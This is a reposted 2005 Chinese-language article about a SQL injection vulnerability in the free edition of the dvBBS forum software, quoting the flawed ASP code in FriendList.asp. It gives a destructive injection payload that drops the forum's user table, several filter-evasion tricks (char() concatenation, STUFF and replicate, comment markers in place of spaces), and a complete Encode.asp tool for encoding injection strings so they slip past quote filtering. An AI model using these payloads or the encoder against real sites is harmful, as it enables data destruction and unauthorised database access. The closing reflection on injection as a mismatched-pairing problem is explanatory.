收藏本站 收藏本站
积木网首页 - 软件测试 - 常用手册 - 站长工具 - 技术社区
积木学院 > 黑客技术 > 病毒漏洞 > 正文

[超人系列]免费版dvBBS的另一类漏洞

来源:互联摘选 日期:2005-12-24 11:57
已经有很多大虾给免费版的动网论坛打过强心剂了,小弟我发现可能还有一类漏洞逃过了大虾们的眼睛,所以出来献丑一下。呵呵,写的匆忙,如有错误之处请指正,我的邮箱是n.e.v.e.r@tom.com。嗯,商业注册版的dvBBS我看了一下,也有一点问题,不过不太容易利用吧。
  拿动网论坛中的FriendList.asp中函数delFriend()来看,中间有这么一段

delid=replace(request.form("id"),""","")
if delid="" or isnull(delid) then
Errmsg=Errmsg+"
  • "+"请选择相关参数。"
    founderr=true
    exit sub
    else
    conn.execute("delete from Friend where F_username=""&trim(membername)&"" and F_id in ("&delid&")")
    sucmsg=sucmsg+"
    "+"
  • 您已经删除选定的好友记录。"
    call dvbbs_suc()
    end if

      这个过滤严格意义上来说是错误的,没有"一样的可以进行SQL Injection。
      我想大约是那个经典的1" or "1"="1蒙蔽了很多人的眼睛,那条语句是这样的

    "select * from user where user="" & user & "" and.........

      我没有办法把user=后面的"和and前面的"用不同的颜色表示,这里只好用1和2来表示。其实这里出现SQL Injection不是简单的因为user中可以出现",而是因为user中出现的"导致了1和2不能按照作者的意思正确的配对。过滤掉user中的"可以非常完美的解决这个问题,所以replace(user,""","")在这里是美妙而又精辟的。
      但是动网的人错解了佛法,看看这一句有问题的话后面半截是什么:

    .......F_id in (" & delid & ")"

      这里要配对的是左右括号!把delid中的"过滤掉是愚蠢的,因为这种过滤的方法不能保证作者预期的两个左右括号正确的配对,而且对于恶意攻击者几乎构不成什么阻拦。我们看一种可能的攻击方法

    delid=.....);drop table [user];--

      这个提交可以逃过过滤,但是完成了SQL注入,成功的话会顺利的删除表user。
      前些日子与南阳岩冰交流时,我只是想到这种注入的方法可以修改一些整数型的数据,后来翻MSDN相关资料的时候突然发现其实不用"一样可以达到使用"的效果。
      一种方法是使用char函数和连结符+,我在查询分析器中做的这些试验:

    select * from sysusers where left(name,2)=char(100)+char(98)

      这个返回的结果是所有以db开头的系统用户列,也就是说这是等同于下面这个查询的

    select * from sysusers where left(name,2)="db"

      我在《动网新漏洞和入侵一则》中贴出过一个Encode.asp,就是利用的这种方法,这里再贴出来一次,要赶论文,所以调得匆忙,如果有改进版请发给我一份

    ======================= Cut Here =======================


    填上SQL语句!
    " method="POST">





    <%
    LINK_CHAR = "+" "字符串连接符号是+吗?
    strIn=Request("in")
    strIn = strIn & "--"
    strTemp = split(strIn,""")
    i = 0
    "On Error Resume Next
    Do while NOT IsNull(strTemp(i))
     If InStr(strTemp(i),"--") Then
      Exit Do
     End if
     i = i + 2
    Loop
    "response.write i
    For j = 0 To i - 1 Step 2
     strOut = strOut & strTemp(j)
     For k = 0 To len(strTemp(j+1))-1
      strOut = strOut & "char(" & asc(left(right(strTemp(j+1),len(strTemp(j+1))-k),1))&")" & LINK_CHAR
     Next
     strOut = left(strOut, len(strOut)-len(LINK_CHAR))
    Next
    If InStr(strTemp(i), "--")<>0 Then
     strOut = strOut & left(strTemp(i), InStr(strTemp(i), "--") - 1)
    End if
    response.write strOut
    %>
    ======================= Cut Here =======================

      如果这个地方过滤掉+,还是可以的,不过方法要复杂很多,这里只给出一个例子啊,还是上面那条查询语句,这里连+都不用

    select * from sysusers where left(name,2)=STUFF(replicate(char(100),2), 2, 1, char(98))

      效果是一样的。再严格一点,连空格都不用

    select/**/*/**/from/**/sysusers/**/where/**/left(name,2)=STUFF(replicate(char(100),2), 2, 1, char(98))

      不过这种方法的话,作为SQL Injection要提交的内容太多了,GET方式最多能提交1024字节的内容,很有可能不够,只好用POST方式了,虽然会麻烦很多。我在测试的时候,发现似乎这两种方法只对简单的select/delete/update/insert/exec有效,当使用openrowset的时候就出错了。我还在测试中,希望有大虾指点一下让我少走弯路。

      写到这里,我想其实脚本出问题,都能归结到配对问题上吧。SQL Injection是,跨站脚本攻击也是。因为对于跨站脚本攻击来说,也可以认为是HTML标签没有正确的配对,不过由于HTML的文法很随意,通常不需要像SQL Injection那样一定要准确闭合前面一句SQL查询语句。各种脚本攻击的结果都很相似,SQL Injection结果是可以自由利用SQL查询语言,跨站脚本攻击的结果是可以自由的利用HTML。如果把HTML也认为是一种语言的话,还可以看出,只要是一种语言动态产生另外一种语言,都会有一种新的漏洞类型出现,最开始是SQL Injection——这是VBScript生成SQL查询语句时候出现的,然后是跨站脚本攻击——这是VBScript生成HTML时候出现的。以后呢?以后我想脚本要出新的类型的问题的话,估计也不会离开这个圈子,譬如是VBScript产生xml的时候,等等。

      再回来看动网论坛,要是他们一开始就不要纠缠于过滤的问题,而是以配对作为评估标准的话,哪会有现在这些问题呢。
  • 推荐阅读

     

    热点信息

     
    强悍的草根IT技术社区,这里应该有您想要的!
    Copyright © 2010 Gimoo.Net. All Rights Rreserved  京ICP备05050695号